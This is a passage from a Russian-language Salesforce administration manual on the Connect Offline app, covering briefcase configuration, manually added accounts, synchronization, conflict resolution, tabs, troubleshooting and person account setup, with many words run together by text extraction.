50 000 рублей, или записи контактов, должности которых задано значение «Покупатель». Некоторые глобальные
переменные $User доступны в фильтрах автономной конфигурации.

Чтобыизменитьстандартнуювзаимосвязь типа «И» междувсемифильтрами, щелкнитессылку «Добавитьлогику
фильтра...».

c. Чтобы предотвратить использование большого объема памяти одним набором данных, установите второй
переключательвразделе «Задатьмаксимальноеограничение записи» ивведитемаксимальноеколичество записей,
которое может быть передано даннымнабором в портфель. Чтобы выбрать записи, подлежащие синхронизации
при превышении заданного ограничения по количеству записей, воспользуйтесь раскрывающимися списками
«Порядок сортировки» и «Сортировать».

Придостиженииограничения система Salesforce синхронизирует записи в соответствии спараметрами «Порядок
сортировки» и «Сортировать». Например, привыборепараметров «Датапоследнегоизменения» и «Поубыванию»
система Salesforceпередаетнедавноизмененные записии удаляет аналогичное количество записей, которыедавно
не изменялись.

Если параметр «Фильтровать по ответственности за запись» содержит значение «Нет (только поиск)», то
заданное ограничение не применяется, так как записи не синхронизируются автоматически.

Совет: Параметр «Задать максимальное ограничение записи» не может использоваться вместо фильтров.
Параметр «Задать максимальное ограничение записи» должен использоваться только как механизм
безопасности, тогда какфильтрыявляютсяосновнымсредствомограниченияколичества записей, доступных
в портфеле. Данный алгоритм обеспечивает передачу пользователям Connect Offline только важных записей.

6. По завершении нажмите кнопку «Готово».

Примечания к наборам данных

• Пользователи Connect Offline могут просматривать роли контакта возможности в портфелях. Чтобы добавить роль
контакта в портфель, добавьте набор данных «Контакт» в качестве дочернего для набора данных «Возможность».

• Приложение Connect Offline не поддерживает повторяющиеся события.

• Каждый набор данных может синхронизировать не более 5 000 записей.

• Придобавлениинастраиваемого объекта, содержащего значок настраиваемой вкладки, в набор данных, приложение
Connect Offline по умолчанию назначает настраиваемой вкладке стиль «Звезда».
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• Приложение Connect Offline не поддерживает меню приложений Force.com. Если конфигурация портфеля
синхронизирует настраиваемые объекты, то все вкладки для данных настраиваемых объектов отображаются при
входе в приложение Connect Offline, несмотря на их принадлежность разным приложениям.

СМ. ТАКЖЕ:

Управление конфигурациями портфеля Connect Offline

Тестовые автономные наборы данных

Добавление организаций вручную в портфель Connect Offline

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно за
дополнительную плату в
версии: Professional
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления
организаций вручную в
приложениеConnect Offline:
• «Просмотр» для

организаций

Есликонфигурацияпортфеляненазначенапрофилю, тоспомощьюкнопки«Добавить
в автономном режиме» на странице сведений о любой организации можно вручную
добавить организацию в портфель Connect Offline.

При следующей синхронизации портфеля система Salesforce передает организацию в
приложение Connect Offline, а также:

• Все контакты, связанные с организацией, при наличии как минимум доступа для
чтения контактов.

• Все возможности, связанные с организацией, приналичии какминимумдоступа для
чтения возможностей. А именно: возможности, доступ к которым предоставлен
другимипользователями; возможности, принадлежащиенижестоящимпользователям
в иерархии ролей; возможности, принадлежащие рабочей группе с участием
пользователя. Также добавляются продукты и расписания для загруженных
возможностей.

• Все настраиваемые объекты, связанные с организацией посредством взаимосвязи
«Основная—подробная».

• Задачи и события, связанные с добавленной организацией и соответствующие
следующим требованиям:

– События, датированные текущим месяцем, последними двумя месяцами или
последующими 24 месяцами

– Все открытые задачи, датированные последующими 24 месяцами

– Закрытыезадачискрайнимсроком, датированнымтекущиммесяцем, последними
двумя месяцами или последующими 24 месяцами

– Задачи без крайнего срока, созданные или измененные в текущем месяце или за
последние два месяца

Разрешается добавлять вручную не более 100 организаций в портфель.

Прим.: Кнопка «Добавить в автономном режиме» автоматически отображается на странице сведений об
организации для всех пользователей Connect Offline, назначенных профилям без конфигурации портфеля. Кнопка
«Добавить в автономном режиме» не добавляется в макеты страниц организаций.

Удаление добавленных вручную организаций из приложения Connect Offline

Чтобы удалить добавленные вручную организации из портфеля, выполните указанные ниже действия.

1. В разделе личных параметров введите строку «Connect Offline» в поле «Быстрый поиск», затем выберите
пункт «Force.com Connect Offline».
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2. Щелкните «Настройка портфеля».

3. Установите флажок напротив нужной организации.

4. Щелкните «Удалить из портфеля».

При следующей синхронизации портфеля система Salesforce удаляет организацию, а также связанные контакты,
возможности и действия, либо записи настраиваемых объектов, связанные с организацией посредством взаимосвязи
«Основная—подробная», из портфеля.

Что такое стандартное содержимое портфеля Connect Offline?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно за
дополнительную плату в
версии: Professional
Edition.

Если профиль пользователя не связан с конфигурацией портфеля, то стандартный
портфель автоматически содержит перечисленные ниже компоненты.

• Все контакты (включая личные) и доступ для чтения связанных организаций или
возможностей

• Все контакты, связанные с организациями портфеля, при наличии как минимум
доступа для чтения контактов

• Все возможности, связанные с организациями портфеля, датированные текущим
месяцем, последнимидвумямесяцамиилипоследующими 24 месяцами, приналичии
как минимум доступа для чтения возможностей. А именно: возможности, доступ к
которым предоставлен другими пользователями; возможности, принадлежащие
нижестоящим пользователям в иерархии ролей; возможности, принадлежащие
рабочей группе с участиемпользователя. Такжедобавляютсяпродуктыирасписания
для загруженных возможностей.

• Все интересы (не более 5 000)

• Все записи настраиваемых объектов, связанные с организацией, контактом или
возможностью портфеля посредством взаимосвязи «Основная—подробная»

• Задачи и события пользователя, а также задачи и события, связанные с организациями портфеля и соответствующие
следующим требованиям:

– События, датированные последними двумя месяцами или последующими 24 месяцами

– Все открытые задачи пользователя, датированные последующими 24 месяцами

– Закрытые задачи с крайнимсроком, датированнымпоследнимидвумямесяцамиилипоследующими 24 месяцами

– Задачи без крайнего срока, созданные или измененные в текущем месяце или за последние два месяца

Прим.: Поле «Связано с» задачи или события, связанного с настраиваемымиобъектами, которые недоступны
в автономном режиме, указывает на недоступность записи в приложении Connect Offline.

Еслипрофильпользователянесвязансконфигурациейпортфеля, тостандартныйпортфельсодержитвсеорганизации,
связанные с собственными возможностями. При необходимости выберите другие организации портфеля.

• Организации, добавленные вручную

• Организации, связанные с действиями портфеля

• Все организации
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Чтобы изменить выбранные организации, щелкните «Настройка портфеля».

СМ. ТАКЖЕ:

Установка приложения Connect Offline

Вкладки приложения Connect Offline

Устранение неполадок в приложении Connect Offline

Изменение выбора организаций в портфеле Connect Offline

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно за
дополнительную плату в
версии: Professional
Edition.

Если администратор не назначил конфигурацию портфеля профилю пользователя,
то портфель содержит стандартное содержимое, включая организации, связанные с
собственными возможностями, организации, добавленные вручную, и организации,
связанные с контактами. Чтобыизменить выборорганизацийвпортфелеConnect Offline,
выполните указанные ниже действия.

1. На странице личных параметров введите строку «автономное подключение» в поле
«Быстрый поиск» и выберите пункт «Автономное подключение».

2. Нажмите кнопку «Настройка портфеля».

3. Нажмите кнопку «Правка» в разделе «Параметры портфеля».

4. Чтобывыбратьорганизациидлядобавлениявпортфель, выберитеодноизуказанных
ниже значений.

• «Выбрано вручную»: не более 100 организаций, добавленных вручную
посредствомкнопки «Добавитьвавтономномрежиме»на странице сведений
об организации, а также организаций, связанных с контактами.

• «Портфель на основе возможности»: не более 5 000 организаций, связанных с собственными возможностями
(помимо организаций, добавленных вручную, и организаций, связанных с контактами). Ниже перечислены
применяемые ограничения.

– Наличие как минимум полномочия «Чтение» для организаций.

– Возможность должна быть открыта или содержать дату закрытия в течение последних двух или будущих
24 месяцев.

Конфигурация «Портфель на основе возможности» используется по умолчанию.

• «Портфель на основе действия»: не более 5 000 организаций, связанных с действиями портфеля (помимо
организаций, добавленных вручную, и организаций, связанных с контактами).

• «Все мои организации»: не более 5 000 собственных организаций или организаций, принадлежащих рабочей
группысо своимучастием (помимоорганизаций, добавленныхвручную, иорганизаций, связанныхс контактами).

5. Нажмите кнопку «Сохранить».

Важное замечание: Если администратор назначает конфигурацию портфеля профилю пользователя после
изменения выбора организаций в портфеле, то назначенная конфигурация портфеля переопределяет выбор
организаций при следующей синхронизации приложения Connect Offline.

СМ. ТАКЖЕ:

Вход в приложение Connect Offline

Индивидуальная настройка системы Salesforce
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Синхронизация портфеля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно за
дополнительную плату в
версии: Professional
Edition.

Если приложение Connect Offline подключено к Интернету, то портфель может быть
синхронизирован с системой Salesforce. Во время синхронизации приложение Connect
Offline обновляет записи Salesforce в соответствии с изменениями, внесенными в записи
портфеля в автономном режиме. Кроме того, приложение Connect Offline обновляет
записи портфеля в соответствии с изменениями, внесенными в записи Salesforce после
последнейсинхронизации. Данноедействие гарантируетдоступностьвсистемеSalesforce
и приложении Connect Offline самых последних записей.

Портфель пользователя автоматически синхронизируется при первом входе в
приложение Connect Offline. Если приложение Connect Offline подключено кИнтернету,
то портфель может быть синхронизирован в любое время посредством параметра
«Синхронизировать портфель» в верхнем правом углу окна обозревателя.

Изменение интерактивной записи, измененной в автономном режиме, может
инициировать конфликтыданныхвовремя синхронизации. Еслизаписи, обновленные
впортфелеи системе Salesforce конфликтуют, топриложениеConnect Offlineотображает
инструмент разрешения конфликтов, позволяющий пользователям быстро устранить
любой конфликт. Чтобы отложить устранение конфликтов и закрыть инструмент разрешения конфликтов, нажмите
кнопку «Отмена». Чтобывоспользоватьсяинструментомразрешенияконфликтов, щелкните ссылку вразделе «Ошибки»
на вкладке «Начальная страница» приложения Connect Offline.

Очистка портфеля
Чтобывосстановитьисходное состояниеприложенияConnect Offline, щелкните ссылку «Очиститьпортфель» в верхнем
правом углу окна обозревателя.

Внимание: Ссылка «Очиститьпортфель» позволяет приложению Connect Offline удалить всефайлыипараметры
портфеля. Рекомендуем очищать портфель только при изменении часового пояса на компьютере или по просьбе
администратора.
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Разрешение конфликтов Connect Offline

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно за
дополнительную плату в
версии: Professional
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра записей в
приложении Connect
Offline:
• «Чтение» для

соответствующего типа
записи (например,
организации, контакты
или возможности)

Для обновления записей в
приложении Connect
Offline:
• «Создание»,

«Редактирование» или
«Удаление» для
соответствующего типа
записи (например,
организации, контакты
или возможности)

Синхронизация может возвращать конфликты данных при изменении одних и тех же
записей в системе Salesforce и приложении Connect Offline. Например, синхронизация
возвращаетконфликтданных, еслиодинпользовательизменяетномертелефонаконтакта
в приложении Connect Offline, а другой пользователь изменяет адрес контакта в системе
Salesforce.

При возникновении конфликта приложение Connect Offline отображает инструмент
разрешения конфликтов, позволяющий выбирать самые последние и правильные
значения. Леваябоковаяпанельокнасодержитсписокзаписей, отмеченныхконфликтами
данных, а правая боковая панель диалогового окна отображает поля, содержащие
противоречивые данные для записи, выбранной на левой боковой панели.

Чтобы воспользоваться инструментом разрешения конфликтов, выполните указанные
ниже действия.

1. Чтобы определить способ отображения записей (списковое или древовидное
представление) ивыбратьнужнуюзапись, воспользуйтесьраскрывающимсясписком
на левой панели.

2. Чтобы выбрать отображаемые поля записи (все или только с противоречивыми
данными) и установить переключатель напротив правильного значения,
воспользуйтесь раскрывающимся списком на правой панели.

3. При необходимостищелкните значок карандаша ( ) и вручную введите нужное
значение.

Прим.: Значок карандаша не отображается для полей, которые доступны в
некоторых объектах (например, продукты возможностей) только для чтения.

4. Повторите указанные выше действия для всех записей, перечисленных на левой
панели. Запись, для которой выбрано правильное значение, помечается на левой
панели зеленымфлажком.

5. Выберите нужные значения для всех конфликтующих записей и нажмите кнопку
«Отправить».

Ниже перечислены рекомендации по использованию инструмента разрешения
конфликтов.

• Чтобы отменить разрешение конфликтов данных, нажмите кнопку «Отмена». При
необходимости продолжите использование приложения Connect Offline. Обратите
внимание, что инструмент разрешения конфликтов отображается при каждой
синхронизации данных.

• ПриложениеConnect Offlineпозволяет вводить значения, которыенарушаютправилапроверки. Подобноенарушение
рассматривается инструментом разрешения конфликтов как конфликт данных.

Одновременно инструмент разрешения конфликтов отображает только одно нарушение. Если запись нарушает
несколько правил проверки, то каждое нарушение должно устраняться и синхронизироваться отдельно.

• Значения полей некоторых объектов (например, продукты возможностей) доступны в инструменте разрешения
конфликтов только для чтения. При необходимости измените данные значения.

1. Откройте древовидное представление на левой панели.

2. Разверните все ветви и выберите самую удаленную ветвь.
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3. Установите переключатель «Локальные значения» для сохранения значений Connect Offline или «Значения
Salesforce» для сохранения значений на сервере. Значения полей, доступных только для чтения, меняются
соответственно.

4. Нажмите кнопку «Отправить».

Принажатиикнопки «Отправить»без выборапараметраприложениеConnect Offline сохраняет значение клиента
для любых значений, доступных только для чтения.

Вкладки приложения Connect Offline

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно за
дополнительную плату в
версии: Professional
Edition.

В приложении Connect Offline доступно несколько вкладок и функций.

Если администратор переименовывает стандартные вкладки Salesforce или добавляет
настраиваемые объекты в конфигурацию портфеля, то отображаемые вкладки могут
отличаться.

Вкладка «Начальная страница»
• Просмотр, создание, изменение или удаление задач и событий, кроме

многопользовательских событий

• Обновление или удаление содержимого портфеля

• Синхронизация, поиск и просмотр недавних элементов на боковой панели

• Разворачивание раздела «Сведения опортфеле» для просмотра количества записей,
доступных в приложении Connect Offline для каждого объекта, и количества записей,
измененных с момента последней синхронизации

Прим.: Список измененных записей в разделе «Сведения о портфеле» не
включает удаленные записи. Кроме того, поиск не возвращает поля типа
«Область подробного текста» (например, поле организации «Описание»).

• Выбор значков под календарем для отображения разных представлений действий

• Открытие инструмента разрешения конфликтов путем выбора ссылки «Обнаружены неразрешенные конфликты»,
отображающейся на боковой панели

Вкладка «Организации»

• Просмотр недавних организаций на начальной странице вкладки «Организации»

• Выбор стандартного спискового представления для просмотра автономных организаций

• Просмотр, создание, изменение или удаление организаций

• Просмотр, создание, изменение или удаление организаций-лиц. Данная функция доступна в приложении Connect
Offline 3.5.2.13 или более поздней версии.

• Просмотр, создание, изменение или удаление настраиваемых объектов, связанных с автономными организациями

• Связывание контактов, возможностей и действий с автономными организациями

• Использование типов записей организации, динамических макетов страниц, параметров безопасности поля и
переведенных значений (согласно средству перевода)

• Обновление записей, доступных для редактирования. В зависимости от параметров общего доступа, заданных для
записей, портфель может содержать записи, доступные только для чтения.
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Вкладка «Группы взаимосвязи»

• Отслеживание ролей разных участников группы взаимосвязи

• Назначение основного и дополнительного обозначений двум важным участникам группы взаимосвязи

• Просмотр сводных связанных списков всех действий для участников группы взаимосвязи

• Просмотр сводных связанных списков настраиваемых объектов, связанных с организациями в группе взаимосвязи

Прим.: Данная функция доступна в приложении Connect Offline 3.5.2.13 или более поздней версии.Приложение
Connect Offline не поддерживает связанные списки на странице сведений о группе взаимосвязи.

Вкладка «Контакты»

• Просмотр недавних контактов на начальной странице вкладки «Контакты»

• Выбор стандартного спискового представления для просмотра автономных контактов

• Просмотр, создание, изменение, клонирование или удаление контактов

• Просмотр, создание, изменение или удаление настраиваемых объектов, связанных с автономными контактами

• Связывание действий с автономными контактами

• Использование типов записей организации, динамических макетов страниц, параметров безопасности поля и
переведенных значений (согласно средству перевода)

• Обновление записей, доступных для редактирования. В зависимости от параметров общего доступа, заданных для
записей, портфель может содержать записи, доступные только для чтения.

Вкладка «Возможности»

• Просмотр недавних возможностей на начальной странице вкладки «Возможности»

• Выбор стандартного спискового представления для просмотра автономных возможностей

• Просмотр, создание, изменение, клонирование или удаление возможностей

• Просмотр, создание, изменение или удаление настраиваемых объектов, связанных с автономными возможностями

• Связывание действий и ролей контакта с автономными возможностями

• Добавлениеиобновлениеролей контакта, продуктовирасписаний, а такжеизменениепрайс-листа для возможности

• Использование типов записей организации, динамических макетов страниц, параметров безопасности поля и
переведенных значений (согласно средству перевода)

• Обновление записей, доступных для редактирования. В зависимости от параметров общего доступа, заданных для
записей, портфель может содержать записи, доступные только для чтения.

Вкладка «Интересы»

• Просмотр недавних интересов на начальной странице вкладки «Интересы»

• Выбор стандартного спискового представления для просмотра автономных интересов

• Просмотр, создание, изменение или удаление интересов в зависимости от параметров общего доступа

Прим.: Изменения интересов, внесенные в приложении Connect Offline, не инициируют правила назначения.

• Связывание действий с автономными интересами

• Использование типов записей, динамических макетов страниц, параметров безопасности поля и переведенных
значений (согласно средству перевода)
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Прим.: Интересы и записи настраиваемых объектов доступны только в приложении Connect Offline 2.0 или более
поздней версии, так как обозначаются значком портфеля , используемым для запуска приложения.

Примечания к использованию приложения Connect Offline

Ниже перечислены рекомендации по использованию приложения Connect Offline.

• Многопользовательские события отображаются в приложении Connect Offline, но недоступны для создания или
редактирования. Приглашенный на событие, который не является организатором, не может изменить или удалить
данное событие в автономном режиме.

• Приложение Connect Offline не поддерживает автоматически создаваемые поля (например, поля формулы и поля
автонумерации).

• Связанные списки в приложении Connect Offline не отображают поля поиска.

СМ. ТАКЖЕ:

Что такое стандартное содержимое портфеля Connect Offline?

Вход в приложение Connect Offline

Устранение неполадок в приложении Connect Offline

Устранение неполадок в приложении Connect Offline

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно за
дополнительную плату в
версии: Professional
Edition.

Ниже перечислены типовые проблемы Connect Offline и способы их решения.

Действия
Не удается изменить запись, связанную с действием в автономном режиме

Пользователь может изменить запись, связанную с задачей или событием Salesforce,
но поле действия «Связано с» доступно в приложении Connect Offline только при
доступности связанной записи в автономном режиме. Например, если событие
связано с организацией, отсутствующей в портфеле, то пользователь не может
изменить организацию события посредством приложения Connect Offline.

Поле «Отображается на портале самообслуживания» недоступновавтономном
режиме

Пользователь может просматривать данное поле в макетах страниц действий
посредством системы Salesforce, но данное поле недоступно в приложении Connect
Offline, так как указывает на связь действия с обращением, а обращения не
поддерживаются приложением Connect Offline.

Не удается обновить групповые события в приложении Connect Offline
Многопользовательские события отображаются в приложении Connect Offline, но недоступны для создания или
редактирования. Приглашенный на событие, который не является организатором, не может изменить или удалить
данное событие в автономном режиме.

Содержимое портфеля
Не удается изменить некоторые записи моего портфеля

В зависимости от параметров портфеля, записи доступны только для чтения, если доступны только в автономном
режиме ввиду их связывания с записями, добавленными в автономном режиме. Например, при выборе портфеля на
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основе возможностей некоторые организации будут доступны только для чтения в автономном режиме даже при
отсутствии связывания с возможностью, но при наличии связывания с контактом портфеля.

Портфель превышает ограничение
Записи, доступныетолькодлячтенияидобавленныепутемсвязывания с другимизаписямипортфеля, не учитываются
ограничениями. Например, согласно установленному ограничению, портфель может содержать не более 5 000
организаций, но, при наличии 200 организаций, добавленных путем связывания с другими записями портфеля,
портфель может содержать 5 200 организаций.

Обозреватели
Операционная система Windows XP SP2 отображает предупреждение в приложении Connect Offline

Чтобы скрыть данное предупреждение, измените параметры обозревателя Internet Explorer.

1. Запустите обозреватель Internet Explorer.

2. Выберите пункт «Свойства обозревателя» в меню «Сервис».

3. Откройте вкладку «Дополнительно».

4. Прокрутите до раздела «Безопасность».

5. Установите флажок «Разрешать запуск активного содержимого файлов на моем компьютере».

6. Нажмите кнопку «Применить».

7. Нажмите кнопку «OK».

Не удается загрузить и установить приложение Connect Offline посредством Firefox
Система Salesforce поддерживает другие обозреватели, но загрузка и установка приложения Connect Offline должны
выполняться посредством обозревателя Internet Explorer.

Отображение ошибки «Не удается подключиться к системе Salesforce для обновления приложения Connect
Offline»

Ниже перечислены сценарии отображения данного сообщения.

• Настройки компьютера позволяют использовать прокси-сервер для подключения к Интернету, требующего
проверкиподлинности. Данноеподключениевыполняется автоматическипосредствомединойрегистрацииили
другого метода проверки подлинности, позволяющего подключаться кИнтернету без ввода имени пользователя
или пароля.

• Компьютер защищен брандмауэром.

• Компьютер защищен антивирусным программным обеспечением.

Разрешение конфликтов
Не удается выбрать поля для разрешения конфликтов

Значения полей некоторых объектов (например, продукты возможностей) доступны в инструменте разрешения
конфликтов только для чтения. При необходимости измените данные значения.

1. Откройте древовидное представление на левой панели.

2. Разверните все ветви и выберите самую удаленную ветвь.

3. Установите переключатель «Локальные значения» для сохранения значений Connect Offline или «Значения
Salesforce» для сохранения значений на сервере. Значения полей, доступных только для чтения, меняются
соответственно.

4. Нажмите кнопку «Отправить».

1868

Connect OfflineПродажи клиентам



Принажатиикнопки «Отправить»без выборапараметраприложениеConnect Offline сохраняет значение клиента
для любых значений, доступных только для чтения.

Инструмент разрешения конфликтов предлагает создать запись или повторить попытку
Параметры общего доступа, возможно, изменены. При наличии доступа для выполнения действия нажмите кнопку
«Повторить». В противном случае создайте запись в приложении Connect Offline.

Не удается изменить значение зависимого раскрывающегося списка в инструменте разрешения конфликтов
Значение конфликтующего поля не может быть изменено при разрешении конфликтов для поля зависимого
раскрывающегося списка. Чтобы разрешить данные типы конфликтов, примените значение Salesforce или значение
Connect Offline.

Прим.: Если управляющее поле зависимого раскрывающегося списка скрывается параметрами безопасности
в автономном режиме, то значок сведений для зависимого раскрывающегося списка отображает API-имя
управляющего поля вместо имени метки.

Поля
Не удается просмотреть поля поиска в связанных списках Connect Offline

Связанные списки в приложении Connect Offline не отображают поля поиска.

Не удается просмотреть поля настраиваемойформулы и автонумерации в приложении Connect Offline
Приложение Connect Offline не поддерживает автоматически создаваемые поля (например, поля формулы и поля
автонумерации).

Поля автонумерации не создаются в приложении Connect Offline.
ПрисозданиизаписивприложенииConnect Offline, увеличивающейномерполя автонумерации, приложениеConnect
Offline отображает метку для данного поля при использовании приложения Connect Offline. При синхронизации
система Salesforce заполняет поле следующим уникальным номером.

Вкладка «Начальная страница»
Список измененных записей на вкладке «Начальная страница» отображает неверное количество

Список измененных записей в разделе боковой панели «Сведения о портфеле» не включает удаленные записи.

Установка
Что устанавливается?

Приложение Connect Offline устанавливает файл SForceDB.exe, который непрерывно выполняется в фоновом режиме
и размещает базу данных Connect Offline.

Не удается установить приложение Connect Offline
ПриложениеConnect Offline требует систему Salesforceдля установкикомпонентов, редактирующихреестркомпьютера.
Если организация применяет параметры безопасности, препятствующие редактированию реестра, рекомендуем
выполнить вход от имени системного администратора перед установкой данных компонентов или обратиться за
помощью к специалистам отдела информационных технологий.

Можно ли выполнять пакетные развертывания приложения Connect Offline?
Да, пользователи могут выполнять системные развертывания.

Как просмотреть версию приложения Connect Offline, доступнуюмоим пользователям?
Версия приложения Connect Offline каждого пользователя отображается в журнале входов.
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Интересы
Не удается просмотреть интересы в приложении Connect Offline

ИнтересыдоступнытольковприложенииConnect Offline 2.0 илиболеепозднейверсии. Прииспользованииприложения
Connect Offline 2.0 или более поздней версии рекомендуем запускать приложение посредством данного значка: .
Чтобы обновить приложение Connect Offline, выполните указанные ниже действия.

1. Синхронизируйте данные в приложении Connect Offline.

2. ПринеобходимостиудалитепредыдущуюверсиюприложенияConnect Offlineпосредствомкомпонента «Установка
и удаление программ» на панели управления Windows.

3. Чтобы установить приложение Connect Offline, откройте страницу приложения Connect Offline в разделе личных
параметров.

4. Синхронизируйте данные в приложении Connect Offline.

Убедитесь в наличии соответствующих полномочий для просмотра интересов.

Правила назначения интересов не выполняются
Интересы, созданные в приложении Connect Offline, не назначаются автоматически на основе правил назначения
интересов. Чтобы назначить интересы после повторного подключения к системе Salesforce, выполните пакетный
перенос записей.

Различия отображения мультивалюты
Стоимости возможностей немного различаются

Еслиорганизацияиспользуетмультивалюту, а валютавозможностиотличаетсяотвалютыкомпании, тоотображаемые
стоимостимогутнемногоразличаться. Преобразованная стоимость, отображаемаяна автономнойстранице сведений
о возможности, может отличаться на 1-2 цента от стоимости, отображаемой на аналогичной странице приложения
Salesforce. Фактическое сохраненное значение не содержит ошибки.

Группы взаимосвязи
Не удается просмотреть вкладку «Группы взаимосвязи» в приложении Connect Offline

Вкладка «Группывзаимосвязи» доступнатолькоприустановкепакетаAppExchange «Группывзаимосвязи» ворганизацию
Salesforce, синхронизируемую с приложением Connect Offline.

Поиск
Результаты поиска не содержат полей

Результатыпоисканесодержатполейтипа «Областьподробноготекста» (например, полеорганизации «Описание»).

Время ожидания, временные отметки и часовые пояса
Временные отметкифайлов, обновленных в приложении Connect Offline, не отображаются как ожидалось

Поля «Создано» и «Изменено» записей, созданных или обновленных в приложении Connect Offline, отображают
время компьютера (даже после синхронизации).

Действия, созданные в приложении Connect Offline, отображают время, введенное пользователем, и часовой пояс
компьютера. Вовремя синхронизациисистема Salesforceпреобразовывает времядействиявчасовойпояс, выбранный
на странице личных сведений Salesforce.

Чтобы применить изменение часового пояса в приложении Connect Offline, очистите и синхронизируйте портфель.
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Время ожидания приложения Connect Offline истекает при синхронизации больших наборов данных
Измените параметр реестра HttpTimeout в файле
HKEY_LOCAL_MACHINE\SOFTWARE\salesforce.com\Offline2. Значение по умолчанию: 360 секунд.

Редактирование параметров обновления контактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Чтобы настроить параметры запросов на обновление контактных данных, выполните
указанные ниже действия.

Прим.: Если в организации включена поддержка организаций-лиц, то данные
параметры также применяются к организациям-лицам. Дополнительную
информацию см. в разделе «Что такое организация-лицо?» на странице 1250.

1. Введитестроку «Обновление контактов» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Мои параметры обновления контактов».

2. Чтобыполучатькопииотправленныхсообщенийэл. почтыобобновленииконтактов,
установите переключатель «Да» в параметре «Автоматическая СК». Данный параметр доступен только в том случае,
если в организации отключена поддержка скрытых копий сообщений эл. почты о соответствии.

3. Чтобы отображать напоминания об отправке запросов на обновление контактов при сохранении новых контактов,
установите переключатель «Да» в параметре «Напоминание для новых контактов».

4. Введите стандартную тему сообщения эл. почты.

5. Введите сообщение в поле примечания.

6. Введите подпись и собственные контактные данные в поле подписи.

7. Чтобы просмотреть доступные поля слияния, которые при необходимости могут быть скопированы и вставлены в
поле темы, примечания или подписи, воспользуйтесь областью «Доступные поля слияния» вверху страницы.

8. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce

1871

Редактирование параметров обновления контактовПродажи клиентам



Настройка и обслуживание инструментов продаж

Настройка и обслуживание функций продаж

Предоставьте торговым представителям инструментарий для повышения продаж. В данном разделе описаны основные
функции продаж системы Salesforce, функции производительности для торговых представителей, а также интеграция
электронной почты Microsoft.

Основные функции для обеспечения продаж
Ключевые функции продаж позволяют торговым представителям управлять основными компонентами: клиентами,
продуктами и услугами, которые предлагает компания и т.д.

Организации, контакты, интересы,

• Включение компонентов «Важные данные об организациях» и «Иерархия организаций»

• Включение организаций-лиц

• Включение социальных организаций, контактов и интересов

Интересы и кампании

• Определение параметров по умолчанию для создания интересов

• Настройка правил назначения интересов

• Настройка правил автоматического ответа

• Настройка компонента «Влияние кампании»

Возможности

• Настройка пути продаж

Сметы и заказы

• Включение смет

• Настройка заказов

Продукты и прайс-листы

• Включение расписаний продуктов

• Настройка автоматической активации цены

Прогнозы

• Настройка совместного прогнозирования

Функция управления территориями 2.0

• Внедрение территорий продаж организации и управление ими

Управление повторами

• Настройка функции управления повторами в системе Salesforce

Data.com

• Внедрение функции очистки Data.com Clean
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• Внедрение Data.com Prospector

Work.com

• Включение функций Work.com

• Настройка сводок по производительности

• Настройка оценок производительности

• Настройка функции навыков и подтверждений

Функции производительности торговых представителей
Функции производительности расширяют основные функции, предоставляя торговым представителям возможность
планировать события, передавать информацию по электронной почте и др.

Примечания

• Настройка примечаний

Действия

• Настройка событий, календарей и задач

• Настройка общедоступных календарей в Salesforce Classic

Эл. почта Salesforce

• Настройка шаблонов электронной почты и управление ими

Интеграция электронной почты Microsoft
Используйте Salesforce непосредственно в почтовых приложениях Microsoft, связывайте важные сообщения эл. почты с
записями Salesforce и синхронизируйте данные между двумя системами.

• Приложение Salesforce для Outlook

• Exchange Sync

• Salesforce for Outlook
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Администрирование людей и организаций-покупателей

Администрирование организаций

Включение организаций-лиц

ВЕРСИИ

Организации-компании
доступны в версиях:
Salesforce Classic и
Lightning Experience.

Организации-компании
доступны в версиях: все
версии.

Организации-лица
доступны в версиях:
Salesforce Classic и
Lightning Experience

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения
организаций-лиц:
• «Настройка

приложения»

Прим.: Данный выпуск поддерживает бета-версию организаций-лиц в Lightning
Experience, являющуюся полноценной, но имеющую некоторые ограничения.
Дополнительнуюинформациюсм. вразделе «ОграничениядляLightning Experience»
на странице 270.

Важное замечание: Включениеорганизаций-лицявляетсянеобратимым. Поэтому
действующим клиентам мы рекомендуем создать безопасную среду, чтобы
просмотреть, каким образом организации-лица повлияют на их организацию.

Прежде чем продолжить работу, выполните указанные ниже действия.

• Создайте как минимум один тип записи для организаций.

• Предоставьтеполномочие «Чтение» дляконтактовпрофилям, имеющимполномочие
«Чтение» для организаций.

• Убедитесь, что единому стандартномупараметруобщегодоступа к контактам задано
значение «Контролируется родительским объектом».

Затем обратитесь в компанию Salesforce для включения организаций-лиц и выполните
указанные ниже действия.

1. С помощью параметров управления для объекта для организаций-лиц перейдите к
пункту «Типы записей».

2. Назначьте типы записей организаций-лиц соответствующим профилям.

Прим.: Организации-лица учитываются в хранилище организаций и контактов,
так как каждаяорганизация-лицосостоитизоднойорганизациииодного контакта.
Прежде чем использовать организации-лица, проверьте хранилище на наличие
свободной памяти.

СМ. ТАКЖЕ:

Организации

Что такое организация-лицо?
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Параметры организаций

